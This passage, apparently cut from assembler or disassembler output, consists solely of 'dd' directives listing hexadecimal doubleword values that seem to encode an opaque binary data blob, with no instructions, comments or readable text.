0CEF755D7h, 0B190038h dd 9CD12291h, 0A2D60054h, 0FB5843EBh, 2DEC85CDh, 0A21D8C8h dd 0CB93B2Fh, 3410811Ah, 4CA02DF7h, 906725E8h, 900E84D0h dd 4FD505E0h, 80231756h, 0FB303950h, 17CACF25h, 463D24h dd 521CEC9Bh, 1830150Ah, 881AFE4Eh, 0D84053C7h, 269C1289h dd 0BC48B0E4h, 30414963h, 1FCBA9FCh, 42EC8985h, 56C502F5h dd 0C4564A1Eh, 0A2B4D003h, 0AAE7D141h, 2E69430h, 0A6695CDAh dd 0B085C5D7h, 2F60C095h, 0B4942E24h, 0F6DDFC01h, 2870DBFDh dd 3046012Ch, 20C6A5B3h, 51C4609Fh, 2DDD0C80h, 0BC01E796h dd 20EB8756h, 22F1DAF0h, 1C22CCh, 9323048Ch, 4784A849h dd 0D4CC9401h, 0C92FF667h, 162C4083h, 687CA538h, 0B3DF9618h dd 0C9D21E19h, 58DB4AD1h, 1D40858h, 159C1EBEh, 3B9D5B42h dd 0BAA8BC08h, 11F873A6h, 19FD80F6h, 0B146AB3Dh, 0E566C0C4h dd 38009119h, 0AB047222h, 80FBFE83h, 3050A963h, 0F7100AB4h dd 0E0ECE9Bh, 38666A1Dh, 912E10C7h, 7DC60E1h, 78670B94h dd 0F492FBEDh, 0FA7954D1h, 4D023918h, 0B25A22A4h, 4BCF9B3h dd 80034CA8h, 0ED8B2CBCh, 8FEED902h, 50724692h, 0A8C49438h dd 0F2CC000Ch, 440D6177h, 0B74ED356h, 612BF082h, 0DC4F60C0h dd 0A5C0FB88h, 7D08CC5h, 2B489DA6h, 3BAA81C3h, 0D522C082h dd 97B25D25h, 808D91E0h, 0B82B499Eh, 0DA910295h, 2DB08EFBh dd 711DD861h, 3B70004Ch, 1B12CBB3h, 0C002147Ah, 0DAFA54h dd 4FF053A9h, 2208154Dh, 6055F829h, 1FF4113h, 309E95F2h dd 0B0465Eh, 656E7721h, 0B43882Eh, 2F54E844h, 5D1DA044h dd 680049BEh, 36C0F672h, 0B7B93FC3h, 4105FB80h, 212F6562h dd 94000BEh, 5F7D337h, 8BA6EA57h, 0E298E0C8h, 113C9795h dd 4D4380B1h, 6D815CDh, 0CFF17606h, 260021C3h, 0D30705BCh dd 904BD7BDh, 3EFB2804h, 6BCA5F90h, 413C34h, 0A7C00C4Fh dd 14C6922Ch, 0D4DAAA2Dh, 8261D887h, 7C5AE1DCh, 0FC28A64Fh dd 0E97E01BFh, 41452169h, 3324757Fh, 30BFA2ACh, 27013513h dd 295E28A2h, 72FA7DE5h, 86740058h, 9C1C7071h, 441E76D4h dd 91806F51h, 254CE04Bh, 0C8484A57h, 6A004DB4h, 0A836D7E5h dd 0FD82EEh, 0EA3CC596h, 0C3804AD1h, 431340Dh, 0D80E315Dh dd 0F9C0BF88h, 33D5E3h, 8B81AE3Bh, 7D2F1EF6h, 1428412h dd 6864A809h, 1D8B8B8h, 0F860687Fh, 602FF175h, 51C9A696h dd 795CF15Ch, 1D5218F9h, 0CFFC073Eh, 5EDD6BE3h, 805FD669h dd 26180EDCh, 2CCC2259h, 0FC1E3C3Ah, 3000A6DEh, 0FF6E2B9Dh dd 79C88121h, 8D6300B4h, 3FD878E3h, 45252F31h, 0FAABA001h dd 0BDA0685Bh, 368230E6h, 779BA00h, 0F70854BBh, 0BC4A48C3h dd 37329480h, 14F8F619h, 6828151Ch, 2F5BB480h, 27348C84h dd 68109540h, 473957EAh, 9F910222h, 0A9C93120h, 9534C5A4h dd 0F2020861h, 0B8D6B338h, 0AE2DDC60h, 8BE58CB0h, 16DBAA59h dd 8BE705B4h, 0C0B97F69h, 0D2B06D25h, 0F61A207Ch, 9D38C013h dd 80BE1178h, 35F7836h, 0BAD20024h, 4E9BAAF2h, 809A21F1h dd 0B953AC20h, 188C79B4h, 6BFE00B7h, 0E5DFABFh, 307884E7h dd 0ACCBE14Bh, 8FC0B088h, 475ED6h, 0E878D4A3h, 0AE835A39h dd 94CA458h, 5A5B4C49h, 1F4620A0h, 310B3AEEh, 19D3251h dd 7356EC1Ch, 7E429A4h, 25963F4Fh, 1040B8E4h, 6714157Ah dd 1898ACA6h, 5B8691B6h, 88589DC4h, 19C8FB18h, 4843095h dd 468070E0h, 8DAC4055h, 0A02C3C59h, 691263AAh, 4885D8B0h dd 10C84562h, 0CBE30957h, 0FA11801Dh, 0D989409Dh, 705EC0E2h dd 62A8109Dh, 0FAC70012h, 577D3A08h, 7826792Bh, 6C017990h dd 266DF8E8h, 49F87EDEh, 0A464C865h, 42DCD860h, 0B2C29E18h dd 5D96B3D8h, 2ABD70C7h, 9B4AC421h, 2869E6F8h, 95C1F7E7h dd 1049D4A7h, 8A0D8046h, 0A62CCE0Eh, 3FCFC0D5h, 7F075948h dd 0A0C7F896h, 284376Ch, 0FA1BEE66h, 0A8D267CDh, 0DA7FAB02h dd 4247A095h, 1951601Ch, 0BF752D99h, 0FDEA58C8h, 3E04180h dd 862583Ah, 3698F3CBh, 0F4014EFAh, 1FC9434Fh, 203E664Ch dd 0AFCC3578h, 1DD553Fh, 9964DFB8h, 0F8E446C8h, 0A9C71EB2h dd 0A3FC01DBh, 25B63A83h, 962CEC08h, 0C7C9A402h, 7C880E69h dd 61580B10h, 94985C72h, 5441A545h, 0C7012896h, 61D98074h dd 1C00411h, 98831265h, 5874A44Ah, 0E3C54200h, 97271FA1h dd 0B72E0ED5h, 2AC08766h, 0B04D6734h, 47CF9B18h, 0A348DA30h dd 0D460A8DDh, 0E1FF0004h, 93093E9Dh, 49007D20h, 98ACB5EDh dd 0B09E3Fh, 0E8EC31CEh, 0B7F16C69h, 4CE29D06h, 12847A4h dd 0F42EBAF8h, 0E88C1FFDh, 281D9845h, 20307EC5h, 336CF0Bh dd 4983FCB0h, 408F74D4h, 0F12C0FC9h, 7C009B78h, 440D414Dh dd 74DFB1EEh, 8B96027h, 0E3434A91h, 0A8412C03h, 9042F12Bh dd 0EC3946h, 0C9AAC6DCh, 8694775h, 0D7501000h, 2EF00ECAh dd 0F714308Ah, 1732E811h, 5A502B00h, 0E9CEF8C9h, 8BFD304Bh dd 3781A890h, 5A48F01h, 84CB5E6h, 0E08938D4h, 36420C93h dd 48C8EAF0h, 51670707h, 0CA70A5B3h, 3A17666Ah, 180369B4h dd 9526098Bh, 72002876h, 2A54C035h, 0F4DB4944h, 0B286001Bh dd 0D5CF51C8h, 0A0A8FB2Dh, 3E043F5Ah, 0FCE0D76Ch, 0DFD84BC0h dd 8199017Bh, 0C5C698D1h, 0C04270B3h, 8A8FDA03h, 8831D2F0h dd 0F0FF5A79h, 261501F8h, 2E6D94E5h, 368C4790h, 790A2A93h dd 0E7F8CDEDh, 4CEFA700h, 1FE04714h, 80968FCCh, 413EFB67h dd 440CF670h, 200EFDC9h, 48EA4Ch, 0B0C4514Dh, 2EA7C66Dh dd 4B5D9D12h, 0BB4E0Bh, 0F5A63F0h, 0EA6430B0h, 0B38FD639h dd 0F7EE1A0Dh, 0C9F06869h, 0B1CA07F0h, 0EB420FE7h, 9900CF50h dd 744A614Fh, 3C71CBC6h, 4C87AE18h, 13BF8Dh, 242329B3h dd 0CCAAA807h, 77727E1h, 0DE46404Eh, 3F3F23Fh, 18334090h dd 9CC82A58h, 440E5694h, 4034D8B7h, 0A20CB99Dh, 0FB7499h dd 0F4CB5CB2h, 0F6B10AAAh dd 0F14AAC01h, 0B372B4E4h, 118C6F3h, 0F9506C36h, 5B827A5Ch dd 0D1670820h, 0F7BE03E5h, 37A365A7h, 31FEC0DFh, 7107D783h dd 0CF42DEF3h, 9AD77C0h, 0B672008Eh, 5EA39FFh, 0A721253Dh dd 4981CC65h, 84944220h, 30B60714h, 70E90E0h, 2711C0BDh dd 0E7E49C74h, 0B1136713h, 77DB5400h, 0A43E34Eh, 669876B7h dd 0A508B234h, 0D36380A1h, 0A0D01AFBh, 91072CF8h, 4056D4B4h dd 2F037B50h, 30772A27h, 44AF9E8h, 43F71F7Eh, 0CFCE0045h dd 9E2CE11Dh, 55FD011Fh, 0B3A0DF81h, 0BFD8B7BCh, 0DD6B0668h dd 2903D569h, 840508EBh, 8C11D342h, 4E92119h, 8BF08C9h dd 17EF4267h, 0C286F02Eh, 7B4251AAh, 2114D211h, 0ABDA0CF1h dd 22848F29h, 85441A6Ch, 367000A3h, 95829B64h, 0A10F6586h dd 4E2939h, 0AE6B8C3Fh, 36323E42h, 0B7180F73h, 0BAC3545Ah dd 5890EFADh, 0D3034E81h, 0EA98A0B8h, 68F6E819h, 590600DAh dd 8757ACDDh, 5A005EF4h, 56462505h, 7561F2h, 95735B34h dd 418D9B07h, 1EAB7909h, 0B6C88033h, 0AAB383h, 8BBC60F3h dd 73E0EC2h, 49DE7730h, 0EF31C6h, 35D06E5Dh, 0B510DD93h dd 0F87A23Eh, 40553B32h, 764DB32Fh, 99980046h, 4A4C36CDh dd 82FA1E8Ch, 0DB21620Eh, 0ACB240E3h, 6FF231h, 0C1F14C5Dh dd 9DEC3812h, 0C8E1A700h, 0B179CCD0h, 0F8AC00C3h, 11FA63C0h dd 0D100EC57h, 772E1B3Bh, 7191705Ah, 45190196h, 28BAA9Fh dd 28688061h, 75FD6A35h, 6DDB002Ah, 8057B4EDh, 4B0F76CAh dd 602F26F1h, 68C9BA45h, 223A00ACh, 28CB43D1h, 0D0C74782h dd 30807562h, 534F7Dh, 8D794C7Fh, 0B7213380h, 3CD1E505h dd 0A4C11471h, 64200A96h, 1847BD6h, 8164F7F9h, 400BB11Bh dd 0F2E56DC8h, 13E6A30Bh, 0E245037Bh, 3738E896h, 1B6F038Ah dd 0DFC866B0h, 27D62109h, 10C18163h, 0D207006h, 96F103E9h dd 0CC30E30Bh, 0C117F7C0h, 7569B600h, 7DB89578h, 8040FD4Eh dd 109222Fh, 0E44B18E1h, 24D8B997h, 48012BB4h, 0F182998Ch dd 0C247B39h, 0E1121F26h, 400064C7h, 555AEBF2h, 64CD1F1Dh dd 0A2548Fh, 0FF5D3B95h, 6950003Ch, 8CED4C3h, 0E09051F1h dd 0E21C202h, 6005D014h, 0FA1B3C86h, 0A717002Dh, 61FF2F3Dh dd 8B007389h, 27602EDDh, 0FDE1A803h, 1CDE0EBh, 7E130084h dd 735DF68h, 31C0D827h, 2918C6B5h, 0A6F50141h, 38D27BA8h dd 27D9DC7Fh, 250AD003h, 0A8180BC9h, 0E46E9244h, 0C1713Ch dd 7C9E4AAEh, 5E09CE03h, 0D00B0800h, 0D151B52Fh, 2C3500DEh dd 3A76106Dh, 0C53F975Dh, 0F78107FAh, 7C00D80Bh, 8853AEh dd 1DCC4AFBh, 4C762023h, 0A5659307h, 0FC70A449h, 9EC12Ah dd 1B87B4E3h, 9CF54628h, 8023AA3Eh, 364912A2h, 9A3E66h dd 97987A0Ch, 0BC6E4E42h, 78BE4Ch, 3748EE58h, 3922533h dd 4FFE5285h, 90C0343Ah, 0C1792B1Fh, 1EDC6100h, 0F949A76Ah dd 4EB4007Eh, 529A6D1Dh, 0E3007182h, 5D3C23F6h, 41D1C5h dd 0C796AFDh, 868921A9h, 9AA5CB0Fh, 20728974h, 7A60D334h dd 56291E4Ch, 70EA465h, 31371B83h, 20D682C0h, 0DF0060F4h dd 64C63ECBh, 1CBB7EA8h, 4063CDD8h, 62A38428h, 4F005305h dd 0E5085DFBh, 92A2E397h, 0F0450A38h, 2C8C743Ch, 68D40069h dd 13FFCEA7h, 804CB43Bh, 0D0642AC4h, 59BE5A5h, 0CE3A8F80h dd 80D4C42Bh, 8458693Ch, 0E01FFE75h, 9005526Ch, 0ACC44085h dd 283CFC00h, 6F8AEDCh, 0BF4B68B7h, 4906385Dh, 0C67064B8h dd 957060h, 6CAC14FAh, 0DA769D94h, 70E55600h, 3B686B46h dd 0E4BE0B7Eh, 0C0074D0h, 0E0298A3Ah, 73EDA503h, 0B5B20Fh dd 0A6EA8F48h, 21575CADh, 974C7098h, 0F98500C4h, 7723CEDAh dd 7071009Ah, 8DF10692h, 0D80076D2h, 4B6DB63Ch, 0E41829h dd 72B3DD63h, 0A6689048h, 0DC08D403h, 0D0A45667h, 0EDB291h dd 88158D59h, 0D4F08904h, 62B38602h, 0C0D6CA1Fh, 0CC6698h dd 9E5F18E4h, 0BD79FA4Ah, 421C4D1Eh, 0F802C05h, 0DAE60C81h dd 6AD499F3h, 0AE1AF0h, 0D81D7108h, 4317C56Dh, 7CA40B0Fh dd 1FBE403Eh, 3012DA6Bh, 96E4F14Eh, 0A100BBC4h, 0E7176535h dd 0C2EADFCFh, 0D20EFED8h, 6CE273E0h, 53261C00h, 0F78E2723h dd 0F350137h, 0D6C186D9h, 7A9C40EAh, 41494084h, 8DFE003Ch dd 3DB993Eh, 0D6F900D0h, 519D5BECh, 0C33A4BB9h, 4E73000Fh dd 0BA884707h, 504304CFh, 0C0A7A0C2h, 6D318D78h, 6BDF4104h dd 0ECCC843Fh, 58E272DCh, 0E40030B1h, 27ECD238h, 551EE352h dd 0FB438F65h, 0E0C578C0h, 185B5F9h, 0D45BB79Ch, 0E030CEE3h dd 2907FA87h, 5347AB74h, 0B9F90720h, 4A7F002Bh, 0C96C7303h dd 4C003DEBh, 7E879BE3h, 0EAFAE43Ah, 56D30016h, 0BD810428h dd 5A0058AFh, 7767B74Ah, 0DEEB7Dh, 258507F2h, 178B6D66h dd 1193E40Ah, 6E16E8D5h, 0A7302500h, 7122176h, 354595A1h dd 582B804Ah, 6C00529Fh, 0FD75023Eh, 2664BFCh, 59B61730h dd 10E88055h, 8C0253A8h, 0C63586DBh, 990CE3FAh, 6D00D156h dd 0A202C2F7h, 0DB291AA8h, 37F0402Ch, 61A600B4h, 157A0DC3h dd 800AD5CDh, 0A4CBDCFBh, 88F4D143h, 0FEB540h, 7A295E88h dd 9583FF43h, 5FB4EE00h, 18EA4D7Bh, 8FFC05C0h, 906DAE98h dd 0B60A4B30h, 0DB08800h, 8091EEDBh, 56F200EDh, 0C1F41A7Fh dd 940F6541h, 40CCDC40h, 32E0FF30h, 9B2F0070h, 7AC81CD7h dd 770BD05Ah, 342BFE7h, 0E0BECAE7h, 0C14EDDh, 0EE96062Ch dd 8DB683A7h, 0DF1CAC01h, 4B2DC264h, 0FD3C9CCh, 0AE545966h dd 0CFE1A28Fh, 602E040Dh, 0C407995Ch, 77D3CBFFh, 0D7B312F0h dd 70324980h, 0D6CD1700h, 713A3349h, 0DDE09D01h, 2644038Ah dd 0AC7AF4h, 0BB5C9204h, 331F7225h, 6E246300h, 0A2098966h dd 147A09E6h, 3C02F9A8h, 8840EB04h, 0B81D90E4h, 39004C6Dh dd 695E1F5Ah, 0FCA50060h, 8F12158Eh, 5F2E094Ah, 0BC8C70h dd 807EDACEh, 0E2C3BEh, 4FB1BAB7h, 0EA42ACBCh, 0A93B6778h dd 83913C48h, 34FF35E8h, 3C12F86Ah, 0BCF20144h, 60C9961h dd 40CBC547h, 1B9341DCh, 0A50134F4h, 9554649Eh, 8C402888h dd 52564Dh, 32025747h, 54FD37A7h, 32786F8h, 17B7630h, 0E2EE695Dh dd 8E31D4C1h, 1AA05702h, 0E0080E51h, 0F77306Fh, 0B5425619h dd 8C7494DEh, 4321253Bh, 332D7B00h, 0D2756Ah, 0E7F8B34Eh dd 9B01AE23h, 949D0602h, 0E0B96F83h, 1610CDBh, 8E3B379Ch dd 82D157F9h, 0B15BAF62h, 4EC86820h, 0F08D3E28h, 31826600h dd 89A0B31Ah, 7D2A39C0h, 0C08329C4h, 0AE720711h, 2E002516h dd 601FB0F8h, 3B85265h, 5C295DFCh, 0A3B6953h, 0A4191E32h dd 4782FF00h, 0B887DF8Ah, 5ACB00E0h, 0F6C3B21Eh, 0AE007608h dd 0AB7C9138h, 50105395h, 79D5A82Ch, 9F1D00CFh, 0BF3D4BD4h dd 183CAC7Bh, 3048CEh, 1FB579E9h, 0D97536h, 8FD099E4h dd 0A6DEE287h, 7DC0DA00h, 0DFE1FF08h, 0F7F155Bh, 0AD3CA877h dd 0B0CAACh, 544D934Bh, 0AC780DC8h, 0A2B1C200h, 1E8E6337h dd 0F346143Ah, 0DD01FB8Fh, 83530833h, 0A40C305Bh, 87A622Eh dd 0A203350Eh, 60D89738h, 0CDFA00h, 0C54C7E20h, 8BCFF5D4h dd 0BB0F1000h, 97EA1703h, 644B5CA3h, 8005561Ch, 3F833078h dd 0D25A825h, 3208086h, 49DACBh, 0A6BF939Bh, 7FE83E23h dd 9CEB58h, 0CB3FE1E3h, 3EC3801h, 0B2460C1Fh, 0D8D0DE67h dd 0C7033B32h, 37FEAB91h, 4A327D4Dh, 643C001Dh, 61EE7F9Ch dd 40F0AE1Fh dd 0EFDD3240h, 58CE8792h, 2C77D8C9h, 0B938BF2Ch, 5820DF1Dh dd 0DA0411BCh, 133F24Ch, 0AF8783D2h, 0C0ECFAC9h, 7A06030Eh dd 1196B48Bh, 8FDAF298h, 0A04A1B00h, 0ED8C9447h, 84FF0038h dd 8A46DB26h, 0BB00B663h, 0D14F6265h, 40EEDEh, 589A2E8Fh dd 35AA5DE2h, 0C6B4E300h, 0B70169D8h, 0CC3C2CFCh, 4C3F001Ch dd 0EBCF7585h, 0BD00AAE4h, 6D718D9Ah, 755F333Ah, 8AF10747h dd 0E18F9798h, 700BDC19h, 0CF3DF8B4h, 44118353h, 0D0F7A50Ch dd 0F0169A76h, 0C9BF007Ah, 3EC11DA1h, 700CA7Eh, 0D419D9AAh dd 7CBBEEDh, 10E2B0FAh, 0A6422003h, 71006BBDh, 0D96AFD73h dd 7220937h, 45698689h, 87806BFCh, 0F9ACEC99h, 1828834Ah dd 53DB008Eh, 0F5243906h, 7203E492h, 0E2AB49BFh, 5D62995Fh dd 0BB3FD40h, 97E500E9h, 6B75129Bh, 70C32B8h, 0D80615D6h dd 29E4A9D0h, 3EE882DDh, 4E550060h, 0A8F6F52h, 8B050F7Ch dd 0C1BFD65Dh, 1BE590C0h, 389026h, 8FBC071Dh, 66DC283Bh dd 5D2AD600h, 6547C172h, 3D2B004Fh, 0A8835097h, 0A493570h dd 5AB60044h, 9FFA378Eh, 0F72600D9h, 5E4AB4E8h, 1D3AE9E5h dd 0DEB88760h, 2C1E0F6h, 4605A8Ch, 398EC92h, 26F856C6h dd 2005F73Ch, 67F96E1Ch, 97E0E487h, 306545BBh, 54E00F18h dd 0A313B482h, 0EC80A9EDh, 96A2D1h, 8B66A802h, 9D65D5E0h dd 71D28A00h, 5A25F5BBh, 81E498h, 0F11DEE29h, 0CFE3C75Dh dd 1289F30Ah, 6D84DC0Ch, 0FCA29DB8h, 167E9013h, 0ADC04018h dd 74F7705Eh, 9D298700h, 254D4FAFh, 9A803A2Ah, 0A38038BFh dd 6D19337Dh, 0DEFA7723h, 56004871h, 441AF9B5h, 2084B7Eh dd 2126C275h, 0C5E0B497h, 8B001E94h, 12C432C9h, 1E4DF7FEh dd 0FEBF74A5h, 0E8DD4780h, 0CACD0AF0h, 0E9820E0Fh, 51BCA073h dd 0F041A746h, 0B9F300BDh, 775E8586h, 0E5004822h, 4B665494h dd 0B0C04A57h, 63271CA0h, 0F4740435h, 0DFD000D1h, 1EF3F6h dd 44CDC588h, 0EF1146A3h, 42EEA21Eh, 5A124545h, 1424E600h dd 5EB96ABh, 5C167BFh, 0FD081F3h, 374C802h, 0DC6CD900h dd 0C3781225h, 0A6AD01CDh, 24833293h, 6B5BECB8h, 0F909FA00h dd 0D16FB297h, 0EEDA001Dh, 0C1929EBCh, 7007A4Dh, 76F114EFh dd 7AB498E7h, 2912000Fh, 1A1F1EEBh, 950267C3h, 57AFBFB7h dd 9AA060BDh, 0DCE01D87h, 83F8E6A8h, 0A9B6BFF5h, 0ECA7CAF9h dd 0C3009639h, 9C06D531h, 58B0CEBAh, 721860h, 2795436Eh dd 5CEBA233h, 0AAC0D307h, 0A21F624h, 0A8233FDCh, 0C58D7300h dd 0E5E89BF1h, 762D625h, 0B3240800h, 0F2A6E480h, 987701D9h dd 1613EFDEh, 29D4D8A2h, 0ACC3ED03h, 80B43E5Ah, 5E0ABD9h dd 1522A9D6h, 29068054h, 0DD03BEB0h, 0B750886Ah, 1CD3D8F4h dd 6C93070Ah, 0CA838B78h, 2B4803D5h, 49E0BA3Fh, 1500C8FDh dd 1A4656EFh, 974DAEh, 8D1373A9h, 0CAA063CCh, 0C053DC00h dd 2B744B28h, 0FC6A0010h, 67C20FD6h, 250055B3h, 71859F18h dd 1DF0F3DAh, 0C074582Ch, 5A6C0690h, 7D07F6B1h, 0B9291D27h dd 0E06B4711h, 3C3834h, 77FB8C3Bh, 9519F661h, 6EF38A00h dd 43942148h, 0E28D078Fh, 0B0EAB055h, 0B22D5DA3h, 0D802834Ah dd 68F64696h, 92017E0h, 8D5C951h, 0A060C80Fh, 0E30E21C5h dd 0FB4CAE01h, 0CEB8833Eh, 7A3C60DAh, 6F550084h, 1A771F1Bh dd 35733A13h, 908CB403h, 0D8B0568Eh, 7E13295h, 83AE81CAh dd 3023B7C8h, 7FACF1DBh, 2942FD01h, 4EC4AF8Fh, 5526C4h dd 0BD4CC06Eh, 2595A35Ch, 1CB5D24Ch, 0C4019B7h, 72939F0Fh dd 26F40408h, 0C0339A28h, 663F9C18h, 15FF4800h, 730BD62Ah dd 0AC5C008Ah, 75EE3813h, 6D03FB8Fh, 493E1481h, 12F7F8FEh dd 0E03007C3h, 30F92A36h, 6D2EBCB6h, 8083283Dh, 43F5988Dh dd 17165FAh, 22B5CA39h, 301DFD0Ah, 91FEEDCBh, 7CF04426h dd 4164D40Eh, 0FB398228h, 608020h, 7B5ADFC3h, 0C113583Dh dd 10BEF300h, 0D1980C8Ah, 7F3B0591h, 0D0E8A829h, 0F3B0AD0Ch dd 0A3775F0Fh, 0BA3313h, 0BCA666EEh, 0C1017D11h, 0E09FDC2h dd 51E021DCh, 3AF770EEh, 2880F17Ah, 0D6D31758h, 0A305F679h dd 70AAB756h, 0F785B8C0h, 7195887Bh, 0D8009E7Ah, 0B218E60Fh dd 583D9BDEh, 63032A8Ah, 84F82408h, 0EFD75A8h, 270022FEh dd 9FB8459Ch, 0F86BBE2Dh, 0F06E0074h, 0EE2E8D75h, 0F100C496h dd 76BF9D80h, 0FAE4008h, 294A3DD2h, 0D3E0811Eh, 0E046E638h dd 4303D0C1h, 0B4EE4F58h, 0F14A0287h, 0A741DE8Bh, 0D7148B40h dd 44D0DCE1h, 6117102Dh, 0A2402008h, 7E89C76Bh, 12D900E2h dd 19CE34AEh, 0BA0027EEh, 2F7D6792h, 3989F5h, 0E2FAB87Ah dd 608C2FFh, 0AEED7500h, 0F5041568h, 9C5148E3h, 6CDA6500h dd 1F9D41C1h, 1AC65603h, 0B04FD9E6h, 0EB75BF2h, 0CDA7922Ch dd 3D2125E0h, 13074EE3h, 81B6967h, 0B41728A0h, 0A06F07CCh dd 0BE2458h, 0EFA8A264h, 25005D7Dh, 0B6DFA9F6h, 0F1B89C9h dd 6991CC4Dh, 0F0447EA5h, 3AFA7628h, 5601C501h, 11822D7Dh dd 0DD64F940h, 8A9B02C6h, 0A172C4FDh, 6D98AC80h, 7B0001F8h dd 9D20DDA8h, 9D6DB9Ch, 0C7E00D7Fh, 79322440h, 0EE010E7Bh dd 0DF789EAFh, 708B505Bh, 270E3D67h, 7C86F081h, 17687CD2h dd 0D05EE86Fh, 0B2BBC000h, 0E8A33E7Bh, 185DE881h, 210A136Fh dd 0D21F558Ch, 7A87BBAFh, 0A340B3C8h, 27D816h, 34F02CE1h dd 0E58FCF0Dh, 0C49D7B00h, 0CBD2B24Bh, 740C0A3h, 3B197F96h dd 9DCDEC00h, 53B2FAD6h, 1E91EAEEh, 80D2862Fh, 0A4B616C7h dd 8210DA50h, 35C0D079h, 34FA32D2h, 0CA50F37Ch, 132AC70Ch dd 0AF00AC2Dh, 0E87A82E3h, 0DA0D6Fh, 0A6C6E756h, 23173106h dd 7002ED05h, 28C0259Ah, 41424Bh, 665613BCh, 8822A865h dd 6D786000h, 93FB3BE3h, 214C00B2h, 38B7EF6Bh, 0DF00F680h dd 0C0EA69Fh, 0EC6C56h, 1198157Ah, 0EA99AB6Eh, 9E3E66E4h dd 0B6388022h, 26A52A83h, 0E5E020h, 0B50843CCh, 0B8E2CFB4h dd 32B66500h, 54E925EEh, 9B524A96h, 0FE044240h, 98AC6BE0h dd 3F42F48h, 4023CBDCh, 0E1678BB7h, 188411D8h, 4FDF33DEh dd 826A8314h, 8DFBE0EEh, 58A7906Fh, 17A20CDh, 0B8FF4FD7h dd 0FC5B6903h, 0AF00B2ABh, 0C4C2D029h, 7EA145Ah, 43A04146h dd 0D455E06Ch, 0D8313ACBh, 1B9418E7h, 0F8560AE4h, 4863B0C5h dd 0E531E453h, 83BD4A90h, 6D56FC78h, 79C90651h, 0D1E254E6h dd 0EC7BBA07h, 0B300A9F7h, 7EAE26D5h, 5C7C91h, 0EFEAD0B2h dd 1DD660Ch, 0D4C6BB18h, 30BDD139h, 3E60B86Eh, 0A001C138h dd 0DC69B7BCh, 188991DEh, 5890E29Eh, 0B46E9C3Bh, 28C483C0h dd 673105CDh, 388C2Fh, 0CC74D208h, 48FF6BE7h, 5572A4B4h dd 0A1076900h, 923150C4h, 0DFE8C04Dh, 3D0BEF51h, 1A579C00h dd 0A1138F5Bh, 1179C0BEh, 52E2C3E8h, 0D4F0500h, 58EB533Bh dd 47D70CB2h, 0B129BBC4h, 902F662Ah, 0C852CB00h, 3E4147CCh dd 0C0E4E053h, 0D6F8EBB8h, 953A8EBAh, 1B18019h, 0B20D4A05h dd 75200071h, 4DE5BF3h, 300B7DAh, 419E7939h, 0EC937628h dd 0E695E0F4h, 24AF85Eh, 0A203DFDh, 444D5134h, 0FB13C040h dd 0A5AC0A83h, 30CB7F7h, 57BF829Eh, 80C0D4C3h, 39C0A19Fh dd 0F41278A6h, 33A21634h, 894190Bh, 0FC21804Eh, 0DD51ECA0h dd 0ADDF0770h, 4C481B3Ch, 0B81956F8h, 4658CE22h, 718349C9h dd 6F386BEh, 0C87C0AD0h, 3FD67B1Fh, 0C90A6868h, 0A4C7FC5Ah dd 901BBC02h, 105441D6h dd 12EFA460h, 20BF72B5h, 0B7373320h, 16241180h, 214FA147h dd 0EC84A7C8h, 8B583E7Ah, 0FB861994h, 6468BB08h, 118C4C00h dd 7B30C432h, 0C7482267h, 7F9E4AD3h, 6B601060h, 7D307B5Ch dd 7DCE0BEh, 0B2B18356h, 964C21A9h, 0F44101BAh, 435432C5h dd 21C040C6h, 22EF297Ah, 0AE4C811Ch, 74174F9Ch, 3FE23B24h dd 0D44D5A01h, 0A68A7B57h, 58885C20h, 368268F6h, 998062E9h dd 0D1D2831Bh, 30814B3Ah, 0F16C215Dh, 0F2190762h, 0A2D73A21h dd 8C8065C8h, 32153C20h, 0C45DB524h, 479A2341h, 24A1F5C0h dd 441430B8h, 0E408C177h, 69D7004Eh, 30C10A1Eh, 8421EBh dd 968FCA6Eh, 0B854E97Eh, 900079A4h, 101275EFh, 53F6FEh dd 703A392h, 615A29Fh, 0D0965107h, 77003AF5h, 49DED537h dd 7C80349Ch, 8234E812h, 0B3108E43h, 0A4F802D9h, 608661ECh dd 8036D1A4h, 0D0603BB8h, 0F6111FB9h, 26917D9h, 0A0C010C1h dd 0EE009723h, 83C97762h, 3B44869Bh, 62F60791h, 606A0559h dd 7986E192h, 36FF5E01h, 0BED86346h, 0A5686C20h, 6038E4CCh dd 4CE99FB8h, 3305E4D9h, 10823C7h, 0F28E07CCh, 0C6F1923Ah dd 136CA914h, 6C00A28Fh, 57F05288h, 0BEE9C0D1h, 67E6CC70h dd 0A1ABD506h, 49086D6Fh, 9500B4B7h, 0AF73CC98h, 4024EFA0h dd 6A0C043Dh, 9BD2869h, 9FDD16C9h, 4F05A02Eh, 1A44885Fh dd 98F3740h, 407C1B21h, 512FE418h, 0FA902383h, 0C0CC7601h dd 0E4186567h, 9E9321C0h, 70382CCCh, 62F3E657h, 4F957032h dd 7D3E8C52h, 0F61D801Eh, 37DB9206h, 0A1B1C081h, 47C4C843h dd 74116760h, 92252617h, 2F34690h, 0C87B62F2h, 10423123h dd 1E62FA6Dh, 2CC840A0h, 577A0838h, 93280803h, 74980336h dd 533070CBh, 0F8608AA2h, 0BA449E76h, 0FE5E008Ch, 18603E4Ah dd 1303753Fh, 3BB401C1h, 71039CC4h, 60131708h, 5421B5CEh dd 8042F83h, 9FC1F7A0h, 0E0A18FCCh, 879EC0E8h, 0E81CADCCh dd 5841FABEh, 0EB3852D2h, 7E45E460h, 477433EDh, 7FA125A0h dd 280334Eh, 3E78118Eh, 10AE31FBh, 0F119646h, 28DF27B9h dd 0D6547743h, 66059900h, 5198F9C2h, 6F8503EBh, 0ED36DFBh dd 0E4B001E2h, 3A157CC9h, 80701Bh, 4A0A27CEh, 0BB8647h dd 0DD7591B2h, 4605CA59h, 0A4A748BAh, 19603AC4h, 272113Fh dd 29056B0Eh, 483A4284h, 0AD18C3BEh, 0B54EDC31h, 9920E980h dd 9E7DCF4Fh, 3800D4F2h, 6FE3E2F7h, 0EC5E57h, 787227A9h dd 0DC172521h, 8885E0A2h, 5354CC9Ah, 23E04452h, 53C2CFCh dd 6275678Ah, 9120B9E0h, 153CC9Ch, 939D3BB3h, 0D3A50332h dd 41BF6CC9h, 7052D384h, 0E8A4476Ch, 0E4203345h, 8AEF0CDCh dd 8720B158h, 9D5A98C4h, 0E0E01F0Eh, 0E85430F0h, 0FA4391C0h dd 1CD9C8A2h, 0C3706C50h, 0B2AB891Ah, 91A088E0h, 643ACA09h dd 4C104EE6h, 5DBC9868h, 0E22D098Ch, 0C49033B8h, 0C50B0540h dd 0A0AC6838h, 0B16AB4D4h, 3B490E9h, 76BFED17h, 0D8FA5334h dd 366888C1h, 